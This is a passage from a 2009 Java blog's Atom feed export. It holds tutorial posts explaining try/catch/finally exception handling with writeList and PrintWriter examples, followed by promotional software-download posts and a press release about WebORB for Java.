statement exits normally. &lt;/li&gt;&lt;/ol&gt; Let's look at what happens in the &lt;code&gt;writeList&lt;/code&gt; method  during these two exit possibilities.  &lt;/blockquote&gt;  &lt;h3&gt;Scenario 1: An Exception Occurs&lt;/h3&gt; &lt;blockquote&gt; The statement that creates a &lt;code&gt;FileWriter&lt;/code&gt; can fail  for a number of reasons. For example, the constructor for the &lt;code&gt;FileWriter&lt;/code&gt; throws an &lt;code&gt;IOException&lt;/code&gt;  if the program cannot create or write to the file indicated. &lt;p&gt; When &lt;code&gt;FileWriter&lt;/code&gt; throws an &lt;code&gt;IOException&lt;/code&gt;,  the runtime system immediately stops executing the &lt;code&gt;try&lt;/code&gt; block; method calls being executed are not completed. The runtime system then starts searching at the top of the method call stack for an appropriate exception handler. In this example, when the &lt;code&gt;IOException&lt;/code&gt; occurs, the &lt;code&gt;FileWriter&lt;/code&gt; constructor is at the top of the call stack. However, the &lt;code&gt;FileWriter&lt;/code&gt; constructor doesn't have an appropriate exception handler, so the runtime system checks the next method — the &lt;code&gt;writeList&lt;/code&gt; method — in the method call stack. The &lt;code&gt;writeList&lt;/code&gt;  method has two exception handlers: one for &lt;code&gt;IOException&lt;/code&gt;  and one for &lt;code&gt;ArrayIndexOutOfBoundsException&lt;/code&gt;.  &lt;/p&gt;&lt;p&gt; The runtime system checks &lt;code&gt;writeList&lt;/code&gt;'s handlers in the order  in which they appear after the &lt;code&gt;try&lt;/code&gt; statement. The argument  to the first exception handler is &lt;code&gt;ArrayIndexOutOfBoundsException&lt;/code&gt;. This does not match the type of exception thrown, so the runtime system checks the next exception handler — &lt;code&gt;IOException&lt;/code&gt;. This matches the type of exception that was thrown, so the runtime system ends its search for an appropriate exception handler. Now that the runtime has found an appropriate handler, the code in that &lt;code&gt;catch&lt;/code&gt; block is executed. &lt;/p&gt;&lt;p&gt; After the exception handler executes, the runtime system passes  control to the &lt;code&gt;finally&lt;/code&gt; block. Code in the &lt;code&gt;finally&lt;/code&gt; block executes regardless of the exception caught above it. In this scenario, the &lt;code&gt;FileWriter&lt;/code&gt; was never opened and doesn't need to be  closed. After the &lt;code&gt;finally&lt;/code&gt; block finishes executing,  the program continues with the first statement after the &lt;code&gt;finally&lt;/code&gt; block.  &lt;/p&gt;&lt;p&gt; Here's the complete output from the &lt;code&gt;ListOfNumbers&lt;/code&gt; program that appears when an &lt;code&gt;IOException&lt;/code&gt; is thrown.   &lt;/p&gt;&lt;blockquote&gt;&lt;pre&gt;Entering try statement&lt;br /&gt;Caught IOException: OutFile.txt&lt;br /&gt;PrintWriter not open&lt;br /&gt;&lt;/pre&gt;&lt;/blockquote&gt;  The boldface code in the following listing shows the statements  that get executed during this scenario: &lt;blockquote&gt;&lt;pre&gt;public void writeList() {&lt;br /&gt;  &lt;b&gt;PrintWriter out = null;&lt;br /&gt;&lt;br /&gt;   try {&lt;br /&gt;       System.out.println("Entering try statement");&lt;br /&gt;       out = new PrintWriter(&lt;br /&gt;                  new FileWriter("OutFile.txt"));&lt;/b&gt;&lt;br /&gt;       for (int i = 0; i &lt; SIZE; i++)&lt;br /&gt;           out.println("Value at: " + i&lt;br /&gt;          + " = " + vector.elementAt(i));&lt;br /&gt;         &lt;br /&gt;   } catch (ArrayIndexOutOfBoundsException e) {&lt;br /&gt;         System.err.println("Caught "&lt;br /&gt;                   + "ArrayIndexOutOfBoundsException: "&lt;br /&gt;                   + e.getMessage());&lt;br /&gt;    &lt;br /&gt;   } &lt;b&gt;catch (IOException e) {&lt;br /&gt;           System.err.println("Caught IOException: " &lt;br /&gt;                               +  e.getMessage());&lt;br /&gt;    &lt;br /&gt;   } finally {&lt;br /&gt;       if (out != null) {&lt;/b&gt;&lt;br /&gt;           System.out.println("Closing PrintWriter");&lt;br /&gt;           out.close();&lt;br /&gt;       }&lt;br /&gt;    &lt;b&gt;else {&lt;br /&gt;           System.out.println("PrintWriter not open");&lt;br /&gt;       }&lt;/b&gt;&lt;br /&gt;   }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;/blockquote&gt; &lt;/blockquote&gt;  &lt;h3&gt;Scenario 2: The try Block Exits Normally&lt;/h3&gt; &lt;blockquote&gt; In this scenario, all the statements within the scope of the &lt;code&gt;try&lt;/code&gt;  block execute successfully and throw no exceptions. Execution falls off the  end of the &lt;code&gt;try&lt;/code&gt; block, and the runtime system passes control  to the &lt;code&gt;finally&lt;/code&gt; block. Because everything was successful, the  &lt;code&gt;PrintWriter&lt;/code&gt; is open when control reaches the &lt;code&gt;finally&lt;/code&gt;  block, which closes the &lt;code&gt;PrintWriter&lt;/code&gt;. Again, after the  &lt;code&gt;finally&lt;/code&gt; block finishes executing, the program continues  with the first statement after the &lt;code&gt;finally&lt;/code&gt; block.  &lt;p&gt; Here is the output from the &lt;code&gt;ListOfNumbers&lt;/code&gt; program when no exceptions are thrown.    &lt;/p&gt;&lt;blockquote&gt;&lt;pre&gt;Entering try statement&lt;br /&gt;Closing PrintWriter&lt;br /&gt;&lt;/pre&gt;&lt;/blockquote&gt;  The boldface code in the following sample shows the statements that  get executed during this scenario. &lt;blockquote&gt;&lt;pre&gt;public void writeList() {&lt;br /&gt;   &lt;b&gt;PrintWriter out = null;&lt;br /&gt;   try {&lt;br /&gt;       System.out.println("Entering try statement");&lt;br /&gt;       out = new PrintWriter(&lt;br /&gt;                 new FileWriter("OutFile.txt"));&lt;br /&gt;       for (int i = 0; i &lt; SIZE; i++)&lt;br /&gt;           out.println("Value at: " + i + " = "&lt;br /&gt;                        +  vector.elementAt(i));&lt;br /&gt;   &lt;br /&gt;   }&lt;/b&gt; catch (ArrayIndexOutOfBoundsException e) {&lt;br /&gt;        System.err.println("Caught "&lt;br /&gt;                    + "ArrayIndexOutOfBoundsException: "&lt;br /&gt;                    + e.getMessage());&lt;br /&gt;    &lt;br /&gt;   } catch (IOException e) {&lt;br /&gt;        System.err.println("Caught IOException: "&lt;br /&gt;                           + e.getMessage());&lt;br /&gt;    &lt;br /&gt;   } &lt;b&gt;finally {&lt;br /&gt;        if (out != null) {&lt;br /&gt;            System.out.println("Closing PrintWriter");&lt;br /&gt;            out.close();&lt;br /&gt;         }&lt;/b&gt;&lt;br /&gt;         else {&lt;br /&gt;            System.out.println("PrintWriter not open");&lt;br /&gt;         }&lt;br /&gt;   }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;/blockquote&gt;          &lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-1968431299107369854?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/1968431299107369854/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=1968431299107369854' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/1968431299107369854'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/1968431299107369854'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/04/putting-it-all-together.html' title='Putting It All Together'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-2157394746114409577</id><published>2009-04-03T15:56:00.000-07:00</published><updated>2009-04-03T16:00:09.499-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java Tutorials'/><title type='text'>The finally Block</title><content type='html'>The &lt;code&gt;finally&lt;/code&gt; block &lt;i&gt;always&lt;/i&gt; executes when the &lt;code&gt;try&lt;/code&gt; block exits. This ensures that the &lt;code&gt;finally&lt;/code&gt; block is executed even if an unexpected exception occurs. But &lt;code&gt;finally&lt;/code&gt; is useful for more than just exception handling — it allows the programmer to avoid having cleanup code accidentally bypassed by a &lt;code&gt;return&lt;/code&gt;, &lt;code&gt;continue&lt;/code&gt;, or &lt;code&gt;break&lt;/code&gt;.  Putting cleanup code in a &lt;code&gt;finally&lt;/code&gt; block is always a good practice, even when no exceptions are anticipated.  &lt;blockquote&gt;&lt;hr /&gt;&lt;strong&gt;Note:&lt;/strong&gt; If the JVM exits while the &lt;code&gt;try&lt;/code&gt; or &lt;code&gt;catch&lt;/code&gt; code is being executed, then the &lt;code&gt;finally&lt;/code&gt; block will not execute.  Likewise, if the thread executing the &lt;code&gt;try&lt;/code&gt; or &lt;code&gt;catch&lt;/code&gt; code is interrupted or killed, the &lt;code&gt;finally&lt;/code&gt; block will not execute even though the application as a whole continues. &lt;hr /&gt;&lt;/blockquote&gt; &lt;p&gt; The &lt;code&gt;try&lt;/code&gt; block of the &lt;code&gt;writeList&lt;/code&gt; method that  you've been working with here opens a &lt;code&gt;PrintWriter&lt;/code&gt;. The  program should close that stream before exiting the &lt;code&gt;writeList&lt;/code&gt;  method. This poses a somewhat complicated problem because  &lt;code&gt;writeList&lt;/code&gt;'s &lt;code&gt;try&lt;/code&gt; block can exit in one  of three ways. &lt;/p&gt;&lt;ol&gt;&lt;li&gt; The &lt;code&gt;new FileWriter&lt;/code&gt; statement fails and throws an &lt;code&gt;IOException&lt;/code&gt;. &lt;/li&gt;&lt;li&gt; The &lt;code&gt;vector.elementAt(i)&lt;/code&gt; statement fails and throws  an &lt;code&gt;ArrayIndexOutOfBoundsException&lt;/code&gt;. &lt;/li&gt;&lt;li&gt; Everything succeeds and the &lt;code&gt;try&lt;/code&gt; block exits normally. &lt;/li&gt;&lt;/ol&gt;  The runtime system always executes the statements within the &lt;code&gt;finally&lt;/code&gt; block regardless of what happens within the &lt;code&gt;try&lt;/code&gt; block.  So it's the perfect place to perform cleanup. &lt;p&gt; The following &lt;code&gt;finally&lt;/code&gt; block for the &lt;code&gt;writeList&lt;/code&gt; method cleans up and then closes the &lt;code&gt;PrintWriter&lt;/code&gt;. &lt;/p&gt;&lt;blockquote&gt;&lt;pre&gt;finally {&lt;br /&gt;   if (out != null) {&lt;br /&gt;       System.out.println("Closing PrintWriter");&lt;br /&gt;       out.close();&lt;br /&gt;   } else {&lt;br /&gt;       System.out.println("PrintWriter not open");&lt;br /&gt;   }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;/blockquote&gt;  In the &lt;code&gt;writeList&lt;/code&gt; example, you could provide for  cleanup without the intervention of a &lt;code&gt;finally&lt;/code&gt; block. For  example, you could put the code to close the &lt;code&gt;PrintWriter&lt;/code&gt;  at the end of the &lt;code&gt;try&lt;/code&gt; block and again within the exception handler  for &lt;code&gt;ArrayIndexOutOfBoundsException&lt;/code&gt;, as follows.  &lt;blockquote&gt;&lt;pre&gt;try {&lt;br /&gt;  &lt;br /&gt;   &lt;b&gt;out.close();       //Don't do this; it duplicates code.&lt;/b&gt;&lt;br /&gt;  &lt;br /&gt;} catch (FileNotFoundException e) {&lt;br /&gt;   &lt;b&gt;out.close();       //Don't do this; it duplicates code.&lt;/b&gt;&lt;br /&gt;   System.err.println("Caught: FileNotFoundException: "&lt;br /&gt;                     + e.getMessage());&lt;br /&gt;   throw new RuntimeException(e);&lt;br /&gt;  &lt;br /&gt;} catch (IOException e) {&lt;br /&gt;   System.err.println("Caught IOException: "&lt;br /&gt;                     + e.getMessage());&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;/blockquote&gt; However, this duplicates code, thus making the code difficult to  read and error-prone should you modify it later. For example, if you  add code that can throw a new type  of exception to the &lt;code&gt;try&lt;/code&gt; block, you have to remember to close the &lt;code&gt;PrintWriter&lt;/code&gt;  within the new exception handler. &lt;blockquote&gt;&lt;hr /&gt;&lt;strong&gt;Important:&lt;/strong&gt; The &lt;code&gt;finally&lt;/code&gt; block is a key tool for preventing resource leaks. When closing a file or otherwise recovering resources, place the code in a &lt;code&gt;finally&lt;/code&gt; block to insure that resource is &lt;i&gt;always&lt;/i&gt; recovered. &lt;hr /&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-2157394746114409577?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/2157394746114409577/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=2157394746114409577' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/2157394746114409577'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/2157394746114409577'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/04/finally-block.html' title='The finally Block'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-4036442375734572537</id><published>2009-04-03T15:53:00.000-07:00</published><updated>2009-04-03T15:56:52.882-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java programming tools'/><title type='text'>Flash To Video Encoder 4.8.7</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.geovid.com/img/flash_to_video_encoder/s1.gif"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 342px; height: 371px;" src="http://www.geovid.com/img/flash_to_video_encoder/s1.gif" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div&gt;Encode Your Macromedia Flash (swf) Movies to AVI Video Flash To Video Encoder converts any Macromedia Flash (swf files) to video movie AVI or mp4 file. The converting process allowing human interaction on Flash content during conversion. Create your own video or dvd collection by converting with Flash To Video Encoder your favourite flash movies. Record the passing of your favorite flash game to video file and save it to the future. Also you able to convert Flash SWF files to MP4 media contnt for your mobile devices.&lt;/div&gt;   &lt;div&gt;&lt;div id="user_reviews"&gt;  &lt;span style="font-size:85%;"&gt;&lt;p&gt;This application converts Macromedia Flash swf to AVI and mp4 Video Movies.&lt;/p&gt; &lt;p&gt;&lt;b&gt;Pros: Flash to Video Encoder&lt;/b&gt; helps convert flash movies to video format of your choice. This could be AVI, WMV, or MPEG encoded video. There is a long list of video encoders this program can handle. The list is almost all encompassing. Same is true of audio encoding possible with the software. Once again this contains almost all audio encoders. The conversion process is nearly automatic with some manual intervention possible. These include deciding what video and audio encoders are to be used. This is as simple as picking the item from a drop down list. One could choose the pixel size of the height and the width of the video to be produced.&lt;/p&gt;  &lt;p&gt;The user interface is really very simple. File names for the flash file and the converted files are chosen first, followed by the type of video needed ( windows video, Windows media type or MPEG video) along with the choice of the codecs for video and audio conversion. One then chooses the size of the video to be produce, duration is automatically determined. The rest of the process is automatic after the start button is clicked. There’s a preview window to have a quick look at the result. Audio can be converted from the original swf files or a voice over can be done through the microphone interface of the computer.&lt;/p&gt; &lt;p&gt;&lt;b&gt;Cons:&lt;/b&gt; Even though this is the English version of the program, the user interface was not completely translated. Many of the menu items, parameters etc were in German still.&lt;/p&gt;  &lt;p&gt;One big difficulty with this kind of program is that it is very difficult to check out all the different codec combinations and also checking through the complete length of the video clips produced to detect any artifact produced in the conversion process. To have a complete sense of the quality of the application one would need to collect feedback from other users.&lt;/p&gt; &lt;p&gt;&lt;b&gt;Over&lt;/b&gt;&lt;b&gt;all:&lt;/b&gt; A well designed, simple to use application, it has a huge collection all possible codec for video as well as audio. This is a 3 star application.&lt;/p&gt;&lt;p&gt;&lt;a href="http://www.freedownloadscenter.com/Multimedia_and_Graphics/Video_and_Animation_Tools/Flash_To_Video_Encoder_Download.html"&gt;&lt;span&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:85%;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:85%;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 50px; height: 50px;" src="http://1.bp.blogspot.com/_6oPuqq2c5Gw/SdaUCOugEvI/AAAAAAAAAMQ/oVP7ODyONUk/s400/dlNowGrn.gif" alt="" id="BLOGGER_PHOTO_ID_5320602775818605298" border="0" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;/span&gt;  &lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-4036442375734572537?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/4036442375734572537/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=4036442375734572537' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/4036442375734572537'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/4036442375734572537'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/04/flash-to-video-encoder-487.html' title='Flash To Video Encoder 4.8.7'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_6oPuqq2c5Gw/SdaUCOugEvI/AAAAAAAAAMQ/oVP7ODyONUk/s72-c/dlNowGrn.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-7648414384613424593</id><published>2009-04-03T15:48:00.000-07:00</published><updated>2009-04-03T15:53:13.955-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java programming tools'/><title type='text'>PHTML Encoder 5.3</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www2.freedownloadscenter.com/shots/screenshots/22385_90_70_FFFFFF.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 250px; height: 194px;" src="http://www2.freedownloadscenter.com/shots/screenshots/22385_90_70_FFFFFF.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div&gt;The PHTML Encoder allows encoding PHP scripts before distributing them. The script code is encrypted before saving. Because PHTML Encoder is a cross-platform product, this software working on ALL computer and server platforms which support PHP. The PHTML Encoder includes console and GUI versions of conver. You can use wildcards to easily convert the whole projects.The PHTML Encoder is transparent to your visitors. It is possible to combine protected and unprotected scripts on one web site. PHTML Encoder has following features in comparison analogous software products:&lt;br /&gt;1. PHTML Encoder uses cryptography for protection of PHP scripts.&lt;br /&gt;2. It is possible to lock encoded scripts to predefined machine (Web server) via machine ID so your scripts will work only on this machine.&lt;br /&gt;3. You can purchase the source code of PHTML Encoder. This allows you to customize PHTML Encoder to meet your needs: you can change password, prefix, add own cryptography method, and so on.&lt;br /&gt;4. Because PHTML Encoder is a cross-platform product, this software will work on ALL computer and web-server platforms which support PHP. The encoded scripts from one computer platform will work on any other platform.&lt;br /&gt;5. There are three ways of implementing encoded scripts : substitution of PHP engine's library file, installation as PHP extension and self-decodable scripts. In last case you don't need any changes to the PHP installation.&lt;br /&gt;6. Available for Windows, Linux x86, Linux x86_64, FreeBSD x86, FreeBSD x86_64, Solaris x86, Mac OS X.&lt;/div&gt;   &lt;div&gt;&lt;div id="user_reviews"&gt;  &lt;span style="font-size:85%;"&gt;&lt;p&gt;Encode your PHP scripts in the easiest way with &lt;b&gt;PHTML Encoder&lt;/b&gt;.&lt;br /&gt;Once you use this exclusive PHP scripts encoding tool you will never go for any other tool again. This tool allows you to safely and easily encode you PHP scripts by using cryptography before distributing them so that they are safe from miscreants. The completed source code of this tool allows one to change passwords, prefix, and add self cryptography methods and much more. The tool works efficiently on cross platforms, works on all computers and server platforms supporting PHP and the encoded scripts from one platform will work on another platform too. The three ways for the usage of encoded scripts are; substitution of existent PHP engine's library file, installation as PHP extension and self-decodable scripts.&lt;br /&gt;With many more features this tool includes console and GUI versions of converter for encrypting and decrypting your scripts.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;a href="http://www.freedownloadscenter.com/Web_Authoring/Misc__Web_Authoring_Tools/PHTML_Encoder_Download.html"&gt;&lt;span&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:85%;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:85%;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 50px; height: 50px;" src="http://1.bp.blogspot.com/_6oPuqq2c5Gw/SdaTNVVH9HI/AAAAAAAAAMI/GytCCpbs7vY/s400/dlNowGrn.gif" alt="" id="BLOGGER_PHOTO_ID_5320601867058148466" border="0" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;/span&gt;  &lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-7648414384613424593?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/7648414384613424593/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=7648414384613424593' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/7648414384613424593'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/7648414384613424593'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/04/phtml-encoder-53.html' title='PHTML Encoder 5.3'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_6oPuqq2c5Gw/SdaTNVVH9HI/AAAAAAAAAMI/GytCCpbs7vY/s72-c/dlNowGrn.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-3856261977134779119</id><published>2009-04-03T15:26:00.000-07:00</published><updated>2009-04-03T15:48:06.990-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java programming tools'/><title type='text'>Sothink DHTMLMenu 6.6</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www2.freedownloadscenter.com/shots/screenshots/34155_200_150_C8C8C8.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 200px; height: 150px;" src="http://www2.freedownloadscenter.com/shots/screenshots/34155_200_150_C8C8C8.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Sothink DHTMLMenu is a professional DHTML menu builder, which helps web designer to create beautiful menus. It is unnecessary to be familiar with JavaScript or DHTML acknowledge, just with Sothink DHTMLMenu, you can build DHTML drop down or popup menus in few minutes. The generated menus are compatible with almost all browsers, including Netscape, Mozilla, Firefox, Camino and Safari, even IE 7.0 (Beta) and Opera 9, so the designers could be free of caring the browser compatibility problems. If you want to create or edit menu without leaving web editors, Sothink DHTMLMenu is right choice to reach the effect, which seamlessly integrate with Dreamweaver as an extension and FrontPage as an add-in. And also, Sothink DHTMLMenu can make dynamic database-driven menus by supporting ASP, PHP, JSP, ColdFusion, etc. For menus themselves, thousands of menu items with unlimited hierarchical levels are in a navigation menu, and the number of DHTML menu in one page is not limited. The pop-up menu can have multi-levels. It can be fully customizable by changing the text, font, link, background, border style, and special effect. Sothink DHTMLMenu has user-friendly interface, which includes menu panel, preview panel, property panel and tasks panel. They make you create DHTML menu easily and preview the menu in your favorite browsers instantly. Building highlighted menu, scrolling menu, cross-frame menu is not difficult, you can use program to create them with ease. Built-in templates have over 80 menus; you can choose any one that you like to build a new menu; if you just prefer to apply the style of menu item, you also choose from pre-design styles. After creating DHTML menus, Publish Wizard is available to guide you publishing menu into web page, there are four options to meet the different users in Publish Wizard, from beginner to web expert, anyone can follows the wizard to publish your menu into webpage step by step. With Sothink DHTMLMenu, you can build DHTML menu easily!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.freedownloadscenter.com/Web_Authoring/Java_Programming_Tools/Sothink_DHTMLMenu_Download.html"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 50px; height: 50px;" src="http://2.bp.blogspot.com/_6oPuqq2c5Gw/SdaRwHNFo_I/AAAAAAAAAMA/5b_0vWOzJV0/s400/dlNowGrn.gif" alt="" id="BLOGGER_PHOTO_ID_5320600265538511858" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-3856261977134779119?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/3856261977134779119/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=3856261977134779119' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/3856261977134779119'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/3856261977134779119'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/04/sothink-dhtmlmenu-66.html' title='Sothink DHTMLMenu 6.6'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_6oPuqq2c5Gw/SdaRwHNFo_I/AAAAAAAAAMA/5b_0vWOzJV0/s72-c/dlNowGrn.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-8148241181956655653</id><published>2009-04-03T15:25:00.001-07:00</published><updated>2009-04-03T15:26:41.883-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java news'/><title type='text'>WebORB for Java Now Supports Sun GlassFish Enterprise Server</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img.pr.com/release/0904/31989/pressrelease_31989_1238697667.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 250px; height: 208px;" src="http://img.pr.com/release/0904/31989/pressrelease_31989_1238697667.jpg" alt="" border="0" /&gt;&lt;/a&gt;Frisco, TX,  April 03, 2009 --(&lt;a href="http://www.pr.com/"&gt;PR.com&lt;/a&gt;)-- Midnight Coders announces WebORB support for Sun GlassFish(TM) Enterprise Server - a winning combination for building Java(TM) software-based Rich Internet Applications (RIA). WebORB for Java is the RIA industry’s most robust integration and runtime (presentation) server and Sun GlassFish Enterprise Server is the price/performance - leading open source application server offering, for both lightweight and enterprise-class RIAs. Combining the two results delivers fast start-up time, rapid iterative development and strong support for NetBeans(TM) IDE 6.5 and Eclipse. Furthermore, WebORB can be embedded into any Sun GlassFish Enterprise Server platform. .&lt;br /&gt;&lt;br /&gt;The combined offering supports RIA project developers in projects both large and small by providing:&lt;br /&gt;· Robust RIA development and deployment in a Java runtime environment.&lt;br /&gt;· RIAs requiring high scalability and performance.&lt;br /&gt;· Centralized application management for IT staff.&lt;br /&gt;· Connectivity to multiple client-side technologies (Flash, Flex, Ajax, Silverlight and soon JavaFX(TM)) and Java software-based servers.&lt;br /&gt;· A team-based approach to project success.&lt;br /&gt;· Solid product roadmap for current and next generation technologies.&lt;br /&gt;&lt;br 